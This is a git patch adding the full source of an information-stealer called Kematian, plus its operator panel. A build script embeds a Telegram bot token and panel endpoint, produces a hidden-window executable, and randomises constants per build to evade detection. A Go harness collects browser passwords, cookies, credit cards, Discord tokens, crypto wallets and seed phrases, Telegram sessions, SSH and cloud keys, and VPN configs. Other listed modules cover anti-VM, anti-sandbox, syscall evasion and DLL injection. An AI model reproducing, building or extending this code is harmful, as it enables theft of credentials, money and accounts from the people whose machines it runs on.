From d8ff4ca963d42e1146874fa67c412b300b984fed Mon Sep 17 00:00:00 2001 From: i2p Date: Thu, 27 Aug 2026 11:23:01 -0600 Subject: [PATCH] initial commit --- .DS_Store | Bin 0 -> 6148 bytes Kematian-Standalone/.gitignore | 30 + Kematian-Standalone/final/build_final.bat | 181 ++++ .../native/cmd/devtool/main.go | 361 ++++++++ Kematian-Standalone/native/cmd/exfil/main.go | 81 ++ Kematian-Standalone/native/exports_windows.go | 64 ++ Kematian-Standalone/native/go.mod | 22 + Kematian-Standalone/native/go.sum | 25 + Kematian-Standalone/native/main.go | 588 ++++++++++++ .../native/recovery/browser/browser_darwin.go | 111 +++ .../native/recovery/browser/browser_linux.go | 112 +++ .../recovery/browser/browser_windows.go | 113 +++ .../native/recovery/browser/log.go | 7 + .../native/recovery/chromium/chromium.go | 316 +++++++ .../native/recovery/chromium/log.go | 7 + .../native/recovery/collect.go | 399 +++++++++ .../native/recovery/collect_stub.go | 7 + .../native/recovery/collect_windows.go | 41 + .../native/recovery/crypto/crypto.go | 31 + .../native/recovery/crypto/crypto_darwin.go | 163 ++++ .../native/recovery/crypto/crypto_linux.go | 128 +++ .../native/recovery/crypto/crypto_windows.go | 372 ++++++++ .../native/recovery/crypto/log.go | 7 + .../native/recovery/db/clone_test.go | 44 + Kematian-Standalone/native/recovery/db/db.go | 122 +++ Kematian-Standalone/native/recovery/db/log.go | 7 + .../native/recovery/discord/common.go | 35 + .../native/recovery/discord/discord_unix.go | 184 ++++ .../recovery/discord/discord_windows.go | 171 ++++ .../native/recovery/discord/log.go | 7 + .../native/recovery/exfil/panel.go | 248 +++++ .../native/recovery/exfil/telegram.go | 264 ++++++ .../fingerprint/fingerprint_browser.go | 264 ++++++ .../fingerprint/fingerprint_browser_stub.go | 7 + .../recovery/fingerprint/fingerprint_stub.go | 7 + .../fingerprint/fingerprint_windows.go | 483 ++++++++++ .../native/recovery/fingerprint/js.go | 11 + .../native/recovery/fingerprint/log.go | 7 + .../native/recovery/fingerprint/types.go | 32 + .../native/recovery/firefox/firefox.go | 236 +++++ .../native/recovery/firefox/log.go | 7 + .../native/recovery/firefox/nss_unix.go | 163 ++++ .../native/recovery/firefox/nss_windows.go | 138 +++ .../native/recovery/gaming_stub.go | 228 +++++ .../native/recovery/gaming_windows.go | 586 ++++++++++++ Kematian-Standalone/native/recovery/log.go | 26 + .../native/recovery/platform/compat-layer.dll | Bin 0 -> 350208 bytes .../native/recovery/platform/embedded_dll.go | 14 + .../recovery/platform/embedded_dll_stub.go | 7 + .../native/recovery/platform/inject.go | 631 +++++++++++++ .../native/recovery/platform/inject_stub.go | 44 + .../recovery/platform/lockedfile_stub.go | 11 + .../recovery/platform/lockedfile_windows.go | 330 +++++++ .../native/recovery/platform/log.go | 7 + .../native/recovery/platform/pipe.go | 293 ++++++ .../native/recovery/platform/pipe_stub.go | 21 + .../native/recovery/recovery.go | 60 ++ .../native/recovery/scanner/apps_stub.go | 137 +++ .../native/recovery/scanner/apps_windows.go | 614 +++++++++++++ .../native/recovery/scanner/extensions.go | 147 +++ .../native/recovery/scanner/files.go | 170 ++++ .../native/recovery/scanner/files_unix.go | 14 + .../native/recovery/scanner/files_windows.go | 17 + .../native/recovery/scanner/keys.go | 313 +++++++ .../native/recovery/scanner/log.go | 7 + .../native/recovery/scanner/seeds.go | 274 ++++++ .../native/recovery/scanner/telegram.go | 234 +++++ .../native/recovery/scanner/telegram_unix.go | 51 ++ .../recovery/scanner/telegram_windows.go | 27 + .../native/recovery/scanner/wallets.go | 179 ++++ .../native/recovery/scanner/wallets_unix.go | 60 ++ .../recovery/scanner/wallets_windows.go | 37 + .../native/recovery/types/types.go | 275 ++++++ .../native/recovery/vpn_stub.go | 186 ++++ .../native/recovery/vpn_windows.go | 390 ++++++++ .../native/recovery/ziputil/zip.go | 83 ++ .../rust-extractor/.cargo/config.toml | 6 + Kematian-Standalone/rust-extractor/.gitignore | 1 + Kematian-Standalone/rust-extractor/Cargo.lock | 7 + Kematian-Standalone/rust-extractor/Cargo.toml | 17 + Kematian-Standalone/rust-extractor/src/abi.rs | 256 ++++++ .../rust-extractor/src/antihook.rs | 357 ++++++++ .../rust-extractor/src/antisbx.rs | 540 +++++++++++ .../rust-extractor/src/antivm.rs | 847 ++++++++++++++++++ .../rust-extractor/src/apires.rs | 265 ++++++ .../rust-extractor/src/dynapi.rs | 270 ++++++ .../rust-extractor/src/flow.rs | 247 +++++ Kematian-Standalone/rust-extractor/src/gen.rs | 26 + .../rust-extractor/src/guard.rs | 655 ++++++++++++++ Kematian-Standalone/rust-extractor/src/lib.rs | 61 ++ Kematian-Standalone/rust-extractor/src/obf.rs | 91 ++ .../rust-extractor/src/patch.rs | 483 ++++++++++ .../rust-extractor/src/payload.rs | 628 +++++++++++++ .../rust-extractor/src/reflective.rs | 478 ++++++++++ .../rust-extractor/src/sleep.rs | 263 ++++++ .../rust-extractor/src/syscall.rs | 491 ++++++++++ .../vendor/injection/ReflectiveDLLInjection.h | 51 ++ .../vendor/injection/ReflectiveLoader.c | 516 +++++++++++ .../vendor/injection/ReflectiveLoader.h | 215 +++++ panel/README.md | 159 ++++ panel/app.py | 760 ++++++++++++++++ panel/blobs.py | 121 +++ panel/builder.py | 332 +++++++ panel/crypto.py | 72 ++ panel/db.py | 246 +++++ panel/example_post.py | 49 + panel/panel.env | 2 + panel/requirements.txt | 3 + panel/reset.bat | 54 ++ panel/reset_password.bat | 35 + panel/setup.bat | 78 ++ panel/static/css/style.css | 307 +++++++ panel/static/icons/app.svg | 1 + panel/static/icons/autofill.svg | 1 + panel/static/icons/bookmark.svg | 1 + panel/static/icons/card.svg | 1 + panel/static/icons/cookie.svg | 1 + panel/static/icons/dash.svg | 1 + panel/static/icons/discord.svg | 1 + panel/static/icons/extension.svg | 1 + panel/static/icons/files.svg | 1 + panel/static/icons/game.svg | 1 + panel/static/icons/history.svg | 1 + panel/static/icons/key.svg | 1 + panel/static/icons/pass.svg | 1 + panel/static/icons/seed.svg | 1 + panel/static/icons/steam.svg | 1 + panel/static/icons/telegram.svg | 1 + panel/static/icons/vpn.svg | 1 + panel/static/icons/wallet.svg | 1 + panel/static/js/app.js | 35 + panel/templates/base.html | 83 ++ panel/templates/builder.html | 95 ++ panel/templates/categories/view.html | 151 ++++ panel/templates/client_detail.html | 34 + panel/templates/clients.html | 34 + panel/templates/dashboard.html | 154 ++++ panel/templates/fileshare.html | 73 ++ panel/templates/login.html | 19 + panel/templates/loot.html | 32 + panel/templates/loot_all.html | 29 + panel/templates/search.html | 34 + panel/templates/setup.html | 20 + setup.md | 175 ++++ 144 files changed, 21051 insertions(+) create mode 100644 .DS_Store create mode 100644 Kematian-Standalone/.gitignore create mode 100644 Kematian-Standalone/final/build_final.bat create mode 100644 Kematian-Standalone/native/cmd/devtool/main.go create mode 100644 Kematian-Standalone/native/cmd/exfil/main.go create mode 100644 Kematian-Standalone/native/exports_windows.go create mode 100644 Kematian-Standalone/native/go.mod create mode 100644 Kematian-Standalone/native/go.sum create mode 100644 Kematian-Standalone/native/main.go create mode 100644 Kematian-Standalone/native/recovery/browser/browser_darwin.go create mode 100644 Kematian-Standalone/native/recovery/browser/browser_linux.go create mode 100644 Kematian-Standalone/native/recovery/browser/browser_windows.go create mode 100644 Kematian-Standalone/native/recovery/browser/log.go create mode 100644 Kematian-Standalone/native/recovery/chromium/chromium.go create mode 100644 Kematian-Standalone/native/recovery/chromium/log.go create mode 100644 Kematian-Standalone/native/recovery/collect.go create mode 100644 Kematian-Standalone/native/recovery/collect_stub.go create mode 100644 Kematian-Standalone/native/recovery/collect_windows.go create mode 100644 Kematian-Standalone/native/recovery/crypto/crypto.go create mode 100644 Kematian-Standalone/native/recovery/crypto/crypto_darwin.go create mode 100644 Kematian-Standalone/native/recovery/crypto/crypto_linux.go create mode 100644 Kematian-Standalone/native/recovery/crypto/crypto_windows.go create mode 100644 Kematian-Standalone/native/recovery/crypto/log.go create mode 100644 Kematian-Standalone/native/recovery/db/clone_test.go create mode 100644 Kematian-Standalone/native/recovery/db/db.go create mode 100644 Kematian-Standalone/native/recovery/db/log.go create mode 100644 Kematian-Standalone/native/recovery/discord/common.go create mode 100644 Kematian-Standalone/native/recovery/discord/discord_unix.go create mode 100644 Kematian-Standalone/native/recovery/discord/discord_windows.go create mode 100644 Kematian-Standalone/native/recovery/discord/log.go create mode 100644 Kematian-Standalone/native/recovery/exfil/panel.go create mode 100644 Kematian-Standalone/native/recovery/exfil/telegram.go create mode 100644 Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser.go create mode 100644 Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser_stub.go create mode 100644 Kematian-Standalone/native/recovery/fingerprint/fingerprint_stub.go create mode 100644 Kematian-Standalone/native/recovery/fingerprint/fingerprint_windows.go create mode 100644 Kematian-Standalone/native/recovery/fingerprint/js.go create mode 100644 Kematian-Standalone/native/recovery/fingerprint/log.go create mode 100644 Kematian-Standalone/native/recovery/fingerprint/types.go create mode 100644 Kematian-Standalone/native/recovery/firefox/firefox.go create mode 100644 Kematian-Standalone/native/recovery/firefox/log.go create mode 100644 Kematian-Standalone/native/recovery/firefox/nss_unix.go create mode 100644 Kematian-Standalone/native/recovery/firefox/nss_windows.go create mode 100644 Kematian-Standalone/native/recovery/gaming_stub.go create mode 100644 Kematian-Standalone/native/recovery/gaming_windows.go create mode 100644 Kematian-Standalone/native/recovery/log.go create mode 100644 Kematian-Standalone/native/recovery/platform/compat-layer.dll create mode 100644 Kematian-Standalone/native/recovery/platform/embedded_dll.go create mode 100644 Kematian-Standalone/native/recovery/platform/embedded_dll_stub.go create mode 100644 Kematian-Standalone/native/recovery/platform/inject.go create mode 100644 Kematian-Standalone/native/recovery/platform/inject_stub.go create mode 100644 Kematian-Standalone/native/recovery/platform/lockedfile_stub.go create mode 100644 Kematian-Standalone/native/recovery/platform/lockedfile_windows.go create mode 100644 Kematian-Standalone/native/recovery/platform/log.go create mode 100644 Kematian-Standalone/native/recovery/platform/pipe.go create mode 100644 Kematian-Standalone/native/recovery/platform/pipe_stub.go create mode 100644 Kematian-Standalone/native/recovery/recovery.go create mode 100644 Kematian-Standalone/native/recovery/scanner/apps_stub.go create mode 100644 Kematian-Standalone/native/recovery/scanner/apps_windows.go create mode 100644 Kematian-Standalone/native/recovery/scanner/extensions.go create mode 100644 Kematian-Standalone/native/recovery/scanner/files.go create mode 100644 Kematian-Standalone/native/recovery/scanner/files_unix.go create mode 100644 Kematian-Standalone/native/recovery/scanner/files_windows.go create mode 100644 Kematian-Standalone/native/recovery/scanner/keys.go create mode 100644 Kematian-Standalone/native/recovery/scanner/log.go create mode 100644 Kematian-Standalone/native/recovery/scanner/seeds.go create mode 100644 Kematian-Standalone/native/recovery/scanner/telegram.go create mode 100644 Kematian-Standalone/native/recovery/scanner/telegram_unix.go create mode 100644 Kematian-Standalone/native/recovery/scanner/telegram_windows.go create mode 100644 Kematian-Standalone/native/recovery/scanner/wallets.go create mode 100644 Kematian-Standalone/native/recovery/scanner/wallets_unix.go create mode 100644 Kematian-Standalone/native/recovery/scanner/wallets_windows.go create mode 100644 Kematian-Standalone/native/recovery/types/types.go create mode 100644 Kematian-Standalone/native/recovery/vpn_stub.go create mode 100644 Kematian-Standalone/native/recovery/vpn_windows.go create mode 100644 Kematian-Standalone/native/recovery/ziputil/zip.go create mode 100644 Kematian-Standalone/rust-extractor/.cargo/config.toml create mode 100644 Kematian-Standalone/rust-extractor/.gitignore create mode 100644 Kematian-Standalone/rust-extractor/Cargo.lock create mode 100644 Kematian-Standalone/rust-extractor/Cargo.toml create mode 100644 Kematian-Standalone/rust-extractor/src/abi.rs create mode 100644 Kematian-Standalone/rust-extractor/src/antihook.rs create mode 100644 Kematian-Standalone/rust-extractor/src/antisbx.rs create mode 100644 Kematian-Standalone/rust-extractor/src/antivm.rs create mode 100644 Kematian-Standalone/rust-extractor/src/apires.rs create mode 100644 Kematian-Standalone/rust-extractor/src/dynapi.rs create mode 100644 Kematian-Standalone/rust-extractor/src/flow.rs create mode 100644 Kematian-Standalone/rust-extractor/src/gen.rs create mode 100644 Kematian-Standalone/rust-extractor/src/guard.rs create mode 100644 Kematian-Standalone/rust-extractor/src/lib.rs create mode 100644 Kematian-Standalone/rust-extractor/src/obf.rs create mode 100644 Kematian-Standalone/rust-extractor/src/patch.rs create mode 100644 Kematian-Standalone/rust-extractor/src/payload.rs create mode 100644 Kematian-Standalone/rust-extractor/src/reflective.rs create mode 100644 Kematian-Standalone/rust-extractor/src/sleep.rs create mode 100644 Kematian-Standalone/rust-extractor/src/syscall.rs create mode 100644 Kematian-Standalone/vendor/injection/ReflectiveDLLInjection.h create mode 100644 Kematian-Standalone/vendor/injection/ReflectiveLoader.c create mode 100644 Kematian-Standalone/vendor/injection/ReflectiveLoader.h create mode 100644 panel/README.md create mode 100644 panel/app.py create mode 100644 panel/blobs.py create mode 100644 panel/builder.py create mode 100644 panel/crypto.py create mode 100644 panel/db.py create mode 100644 panel/example_post.py create mode 100644 panel/panel.env create mode 100644 panel/requirements.txt create mode 100644 panel/reset.bat create mode 100644 panel/reset_password.bat create mode 100644 panel/setup.bat create mode 100644 panel/static/css/style.css create mode 100644 panel/static/icons/app.svg create mode 100644 panel/static/icons/autofill.svg create mode 100644 panel/static/icons/bookmark.svg create mode 100644 panel/static/icons/card.svg create mode 100644 panel/static/icons/cookie.svg create mode 100644 panel/static/icons/dash.svg create mode 100644 panel/static/icons/discord.svg create mode 100644 panel/static/icons/extension.svg create mode 100644 panel/static/icons/files.svg create mode 100644 panel/static/icons/game.svg create mode 100644 panel/static/icons/history.svg create mode 100644 panel/static/icons/key.svg create mode 100644 panel/static/icons/pass.svg create mode 100644 panel/static/icons/seed.svg create mode 100644 panel/static/icons/steam.svg create mode 100644 panel/static/icons/telegram.svg create mode 100644 panel/static/icons/vpn.svg create mode 100644 panel/static/icons/wallet.svg create mode 100644 panel/static/js/app.js create mode 100644 panel/templates/base.html create mode 100644 panel/templates/builder.html create mode 100644 panel/templates/categories/view.html create mode 100644 panel/templates/client_detail.html create mode 100644 panel/templates/clients.html create mode 100644 panel/templates/dashboard.html create mode 100644 panel/templates/fileshare.html create mode 100644 panel/templates/login.html create mode 100644 panel/templates/loot.html create mode 100644 panel/templates/loot_all.html create mode 100644 panel/templates/search.html create mode 100644 panel/templates/setup.html create mode 100644 setup.md diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..bedadbfb4b5de6511c69963471ed11236b88f7cd GIT binary patch literal 6148 zcmeHKu};G<5PeRI6vR@*00Tn#0fzoTsKUgUA1G}jsFaWlW%tI+%qQ?8hynN;R^HiG zNt7aikN}}O>Fzn_yV!n~aybBIa=jP>BLFc~FxsZsATlr7lPGv((zti5u*5m8aE!bc zt&YFQfZW|4&QPG@&9(1ulriR>HY29 z&EdnzSF#u1$ZjrMyWY247F%fC*$R~HGr>H~yR+?meGFb? zeHCRu8Bhj(n*r8rk$A_WT4g{PPzKfv$oCe|GP>0qzotn|B3-K%<^o)BZb=9JDk+oggT{)NSyV!PT|0nV#Z1-KA<|GKal}3 U4QM^mL(v}rM}rz=;71vF1E?`w{Qv*} literal 0 HcmV?d00001 diff --git a/Kematian-Standalone/.gitignore b/Kematian-Standalone/.gitignore new file mode 100644 index 0000000..e970a36 --- /dev/null +++ b/Kematian-Standalone/.gitignore @@ -0,0 +1,30 @@ +# Packaged plugin output +*.zip +server.js + +# Dependencies (installed at build time) +node_modules/ +bun.lockb + +# CGo-generated header (rebuilt on each compile) +*-windows-amd64.h +*-linux-amd64.h +*-darwin-amd64.h +*\kematian-windows-amd64.dll +*\recovery-key-extractor.dll + +# Go build artifacts +bin/ +*.exe +*.test +*.out + +# OS +.DS_Store +Thumbs.db + +# Editor +.vscode/ +.idea/ +*.swp +*.swo \ No newline at end of file diff --git a/Kematian-Standalone/final/build_final.bat b/Kematian-Standalone/final/build_final.bat new file mode 100644 index 0000000..e6eea01 --- /dev/null +++ b/Kematian-Standalone/final/build_final.bat @@ -0,0 +1,181 @@ +@echo off +setlocal enabledelayedexpansion + +title Kematian Final Builder + +echo ============================================ +echo Kematian Final Executable Builder +echo ============================================ +echo. + +set "SCRIPT_DIR=%~dp0" +set "PROJECT_ROOT=%SCRIPT_DIR%..\" +set "NATIVE_DIR=%PROJECT_ROOT%native" +set "EXFIL_DIR=%NATIVE_DIR%\cmd\exfil" +set "FINAL_DIR=%SCRIPT_DIR%" +set "ORIGINAL_MAIN=%EXFIL_DIR%\main.go" +set "TEMP_MAIN=%EXFIL_DIR%\main.go.tmp" +set "ORIGINAL_PANEL=%NATIVE_DIR%\recovery\exfil\panel.go" +set "TEMP_PANEL=%NATIVE_DIR%\recovery\exfil\panel.go.tmp" + +echo [DEBUG] SCRIPT_DIR=%SCRIPT_DIR% +echo [DEBUG] NATIVE_DIR=%NATIVE_DIR% +echo [DEBUG] ORIGINAL_MAIN=%ORIGINAL_MAIN% + +if not exist "%NATIVE_DIR%" ( + echo [ERROR] native folder not found at %NATIVE_DIR% + pause + exit /b 1 +) + +if not exist "%ORIGINAL_MAIN%" ( + echo [ERROR] main.go not found at %ORIGINAL_MAIN% + pause + exit /b 1 +) + +echo Enter your Telegram Bot Token: +set /p BOT_TOKEN=^> +if "%BOT_TOKEN%"=="" ( + echo [ERROR] Bot token cannot be empty + pause + exit /b 1 +) + +echo. +echo Enter your Telegram Chat ID: +set /p CHAT_ID=^> +if "%CHAT_ID%"=="" ( + echo [ERROR] Chat ID cannot be empty + pause + exit /b 1 +) + +echo. +echo ------------------------------------------- +echo COLLECTOR PANEL (leave blank to disable) +echo ------------------------------------------- +echo. +set "PANEL_ENDPOINT=" +set "PANEL_AUTH=" +set /p PANEL_ENDPOINT=Panel endpoint (e.g. https://mypanel.com/api/ingest): +set /p PANEL_AUTH=Panel ingest key (PANEL_INGEST_KEY): +echo. + +echo. +echo Building recovery-key-extractor.dll (Rust)... +set "RUST_DIR=%PROJECT_ROOT%rust-extractor" +set "EXTRACTOR_OUT=%NATIVE_DIR%\recovery\platform\recovery-key-extractor.dll" +set "RUST_DLL=%RUST_DIR%\target\x86_64-pc-windows-gnu\release\recovery_key_extractor.dll" + +if not exist "%RUST_DIR%\Cargo.toml" ( + echo [ERROR] rust-extractor\Cargo.toml not found + pause + exit /b 1 +) + +pushd "%RUST_DIR%" +echo Generating polymorphic gen.rs (unique constants per build)... +python -c "import secrets;seed=secrets.randbelow(1<<32)|1;kt=secrets.randbelow(255)+1;kv=secrets.randbelow(255)+1;ks=secrets.randbelow(255)+1;ke=secrets.randbelow(255)+1;kd=secrets.randbelow(255)+1;jx=secrets.randbelow(1<<32)|1;jr=secrets.randbelow(1<<32)|1;jn=secrets.randbelow(16)+4;ot=(secrets.randbelow(1<<32)<<32)|secrets.randbelow(1<<32);f=open('src/gen.rs','w');f.write('// AUTO-GENERATED per build. Do not edit.\n');f.write('pub const GEN_SEED: u32 = 0x%08X;\n\n'%seed);f.write('pub const K_TOKEN: u8 = %d;\n'%kt);f.write('pub const K_VENDOR: u8 = %d;\n'%kv);f.write('pub const K_SMBIOS: u8 = %d;\n'%ks);f.write('pub const K_ENV: u8 = %d;\n'%ke);f.write('pub const K_DISPLAY: u8 = %d;\n\n'%kd);f.write('pub const JUNK_XOR: u32 = 0x%08X;\n'%jx);f.write('pub const JUNK_ROT: u32 = 0x%08X;\n'%jr);f.write('pub const JUNK_N: u32 = %d;\n\n'%jn);f.write('pub const OPAQUE_TAG: u64 = 0x%016X;\n'%ot);f.close()" 2>&1 +if errorlevel 1 ( + echo [WARN] gen.rs regeneration failed, using existing gen.rs +) +cargo build --release --target x86_64-pc-windows-gnu +if errorlevel 1 ( + popd + echo [ERROR] cargo build failed + pause + exit /b 1 +) +popd + +if not exist "%RUST_DLL%" ( + echo [ERROR] Rust DLL not found at %RUST_DLL% + pause + exit /b 1 +) + +copy /y "%RUST_DLL%" "%EXTRACTOR_OUT%" >nul +if errorlevel 1 ( + echo [ERROR] Failed to copy Rust DLL + pause + exit /b 1 +) +echo [OK] recovery-key-extractor.dll ready + +echo. +echo Generating main.go with embedded credentials... +echo [DEBUG] Replacing placeholders in %ORIGINAL_MAIN% + +powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"', 'defaultBotToken = \"%BOT_TOKEN%\"'; $content = $content -replace 'defaultChatID = \"YOUR_CHAT_ID_HERE\"', 'defaultChatID = \"%CHAT_ID%\"'; [IO.File]::WriteAllText('%TEMP_MAIN%', $content); Write-Host 'PowerShell OK'" + +if errorlevel 1 ( + echo [ERROR] Failed to generate temp main.go + pause + exit /b 1 +) + +echo [DEBUG] Temp file created, verifying... +powershell -NoProfile -Command "Get-Content -Path '%TEMP_MAIN%' | Select-String 'defaultBotToken'" + +move /y "%TEMP_MAIN%" "%ORIGINAL_MAIN%" >nul +if errorlevel 1 ( + echo [ERROR] Failed to replace main.go + pause + exit /b 1 +) + +echo [OK] main.go updated with credentials + +echo. +echo Generating panel.go with panel config... +if not "%PANEL_ENDPOINT%"=="" ( + powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_PANEL%'; $content = $content -replace 'http://127.0.0.1:5000/api/ingest', '%PANEL_ENDPOINT%'; $content = $content -replace 'PanelAuth = \"kematian-ingest-key-CHANGE-ME\"', 'PanelAuth = \"%PANEL_AUTH%\"'; [IO.File]::WriteAllText('%TEMP_PANEL%', $content); Write-Host 'PowerShell OK'" + if errorlevel 1 ( + echo [ERROR] Failed to generate temp panel.go + pause + exit /b 1 + ) + move /y "%TEMP_PANEL%" "%ORIGINAL_PANEL%" >nul + echo [OK] panel.go endpoint + auth updated (pubkey is auto-fetched at runtime) +) + +echo. +echo Building executable... +pushd "%NATIVE_DIR%" +go build -ldflags="-H=windowsgui -s -w" -o "%FINAL_DIR%kematian.exe" ./cmd/exfil +if errorlevel 1 ( + popd + echo [ERROR] Go build failed + pause + exit /b 1 +) +popd + +echo. +echo Restoring original main.go... +git checkout "%ORIGINAL_MAIN%" 2>nul +if errorlevel 1 ( + powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"%BOT_TOKEN%\"', 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"'; $content = $content -replace 'defaultChatID = \"%CHAT_ID%\"', 'defaultChatID = \"YOUR_CHAT_ID_HERE\"'; [IO.File]::WriteAllText('%ORIGINAL_MAIN%', $content)" +) + +echo. +echo Restoring original panel.go... +git checkout "%ORIGINAL_PANEL%" 2>nul +if errorlevel 1 ( + powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_PANEL%'; $content = $content -replace [regex]::Escape('%PANEL_ENDPOINT%'), 'http://127.0.0.1:5000/api/ingest'; $content = $content -replace 'PanelAuth = \"%PANEL_AUTH%\"', 'PanelAuth = \"kematian-ingest-key-CHANGE-ME\"'; [IO.File]::WriteAllText('%ORIGINAL_PANEL%', $content)" +) + +echo. +echo ============================================ +echo [SUCCESS] Build complete! +echo ============================================ +echo. +echo Output: %FINAL_DIR%kematian.exe +echo. +echo Usage: Just double-click kemeatien.exe +echo (No arguments needed - credentials are embedded) +echo. +dir "%FINAL_DIR%kematian.exe" +echo. +pause \ No newline at end of file diff --git a/Kematian-Standalone/native/cmd/devtool/main.go b/Kematian-Standalone/native/cmd/devtool/main.go new file mode 100644 index 0000000..a4cd647 --- /dev/null +++ b/Kematian-Standalone/native/cmd/devtool/main.go @@ -0,0 +1,361 @@ +// Command devtool is a standalone development harness for the Kematian +// recovery pipeline. It emulates the plugin host + server by running the same +// collection code as the c-shared plugin, then prints a summary (or, with +// -verbose, the full event/result JSON) to the console. +// +// Usage examples: +// +// go run ./cmd/devtool # collect everything, summary +// go run ./cmd/devtool -cookies -browser Brave # just Brave cookies +// go run ./cmd/devtool -verbose # dump full JSON events +// go run ./cmd/devtool -out result.json -no-inject +// +// It is not loaded as a plugin; it links the recovery package directly and is +// meant to make local development and debugging easier. +package main + +import ( + "context" + "encoding/base64" + "encoding/json" + "flag" + "fmt" + "log" + "os" + "sort" + "strings" + "time" + + recovery "recovery/recovery" +) + +const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB, matches plugin + +var verbose bool + +func main() { + var ( + outPath string + timeoutSec int + browser string + noInject bool + includeZip bool + + all bool + passwords bool + cookies bool + autofill bool + history bool + bookmarks bool + cards bool + discord bool + files bool + wallets bool + telegram bool + keys bool + apps bool + gaming bool + vpn bool + extensions bool + fingerprint bool + fingerprintJS bool + ) + + flag.StringVar(&outPath, "out", "", "write the full result JSON to this file") + flag.IntVar(&timeoutSec, "timeout", 120, "collection timeout in seconds") + flag.StringVar(&browser, "browser", "", "only show results for this browser (case-insensitive); scanning is not restricted") + flag.BoolVar(&noInject, "no-inject", false, "skip DLL injection (direct file access only, no App-Bound/v20 keys)") + flag.BoolVar(&verbose, "verbose", false, "print full event/result JSON (default: summary only)") + flag.BoolVar(&includeZip, "content", false, "include base64 content in auto-download events") + + flag.BoolVar(&all, "all", false, "collect everything") + flag.BoolVar(&passwords, "passwords", false, "collect passwords") + flag.BoolVar(&cookies, "cookies", false, "collect cookies") + flag.BoolVar(&autofill, "autofill", false, "collect autofill") + flag.BoolVar(&history, "history", false, "collect history") + flag.BoolVar(&bookmarks, "bookmarks", false, "collect bookmarks") + flag.BoolVar(&cards, "cards", false, "collect credit cards") + flag.BoolVar(&discord, "discord", false, "collect Discord tokens") + flag.BoolVar(&files, "files", false, "scan files") + flag.BoolVar(&wallets, "wallets", false, "scan wallets") + flag.BoolVar(&telegram, "telegram", false, "scan Telegram sessions") + flag.BoolVar(&keys, "keys", false, "scan SSH & cloud keys") + flag.BoolVar(&apps, "apps", false, "scan app credentials") + flag.BoolVar(&gaming, "gaming", false, "scan gaming platforms") + flag.BoolVar(&vpn, "vpn", false, "scan VPN configs") + flag.BoolVar(&extensions, "extensions", false, "scan browser extensions") + flag.BoolVar(&fingerprint, "fingerprint", false, "collect the native browser fingerprint and exit") + flag.BoolVar(&fingerprintJS, "fingerprint-js", false, "collect the JS (canvas/WebGL/audio) fingerprint and exit") + flag.Parse() + + if noInject { + os.Setenv("KEMATIAN_NO_INJECT", "1") + } + + if fingerprint { + fp := recovery.CollectFingerprint() + data, _ := json.MarshalIndent(fp, "", " ") + fmt.Println(string(data)) + return + } + + if fingerprintJS { + fp := recovery.CollectJSFingerprint() + if fp == nil { + fmt.Println("{\"error\": \"failed to collect JS fingerprint\"}") + return + } + data, _ := json.MarshalIndent(fp, "", " ") + fmt.Println(string(data)) + return + } + + anyData := passwords || cookies || autofill || history || bookmarks || cards || + discord || files || wallets || telegram || keys || apps || gaming || vpn || extensions + + opts := recovery.CollectOptions{ + Browsers: all || !anyData || passwords || cookies || autofill || history || bookmarks || cards || extensions, + Passwords: all || !anyData || passwords, + Cookies: all || !anyData || cookies, + Autofill: all || !anyData || autofill, + History: all || !anyData || history, + Bookmarks: all || !anyData || bookmarks, + CreditCards: all || !anyData || cards, + Discord: all || !anyData || discord, + Files: all || !anyData || files, + Wallets: all || !anyData || wallets, + Telegram: all || !anyData || telegram, + Keys: all || !anyData || keys, + Apps: all || !anyData || apps, + Gaming: all || !anyData || gaming, + VPNs: all || !anyData || vpn, + } + + log.Printf("devtool: timeout=%ds browser=%q noInject=%v verbose=%v", timeoutSec, browser, noInject, verbose) + + printEvent("status", map[string]string{"message": "Starting collection (devtool)..."}) + + var exts []recovery.ExtensionResult + if opts.Browsers || extensions { + exts = recovery.ScanExtensions() + log.Printf("devtool: extension scan complete: %d extensions", len(exts)) + } + + partialFn := func(partial *recovery.CollectionResult) { + printEvent("partial", filter(partial, browser)) + } + + ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second) + defer cancel() + + start := time.Now() + result, err := recovery.Collect(ctx, opts, partialFn) + if err != nil { + log.Printf("devtool: collection failed: %v", err) + printEvent("error", map[string]string{"error": err.Error()}) + os.Exit(1) + } + + if opts.Browsers || extensions { + result.Extensions = exts + } + + printSummary(filter(result, browser)) + printEvent("results", filter(result, browser)) + + if len(result.Wallets) > 0 { + autoDownloadWallets(result.Wallets, includeZip) + } + + seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill) + if len(seeds) > 0 { + log.Printf("devtool: seed scan found %d seed phrases", len(seeds)) + printEvent("seed_scan_results", map[string]interface{}{"seeds": seeds}) + } + + if outPath != "" { + if err := writeResult(outPath, filter(result, browser)); err != nil { + log.Printf("devtool: failed to write output: %v", err) + os.Exit(1) + } + log.Printf("devtool: wrote result to %s", outPath) + } + + log.Printf("devtool: collection completed in %s", time.Since(start).Round(time.Millisecond)) +} + +// printEvent emulates the server receiving an event + JSON payload. Only used +// when -verbose is set. +func printEvent(event string, payload interface{}) { + if !verbose { + return + } + data, err := json.MarshalIndent(payload, "", " ") + if err != nil { + log.Printf("devtool: marshal %s: %v", event, err) + return + } + fmt.Printf("\n===== EVENT: %s =====\n%s\n", event, string(data)) +} + +type browserCounts struct { + cookies, passwords, autofill, history, bookmarks, cards, extensions int +} + +func tally(r *recovery.CollectionResult) map[string]*browserCounts { + m := map[string]*browserCounts{} + get := func(b string) *browserCounts { + if b == "" { + b = "(unknown)" + } + c, ok := m[b] + if !ok { + c = &browserCounts{} + m[b] = c + } + return c + } + for _, v := range r.Cookies { + get(v.Browser).cookies++ + } + for _, v := range r.Passwords { + get(v.Browser).passwords++ + } + for _, v := range r.Autofill { + get(v.Browser).autofill++ + } + for _, v := range r.History { + get(v.Browser).history++ + } + for _, 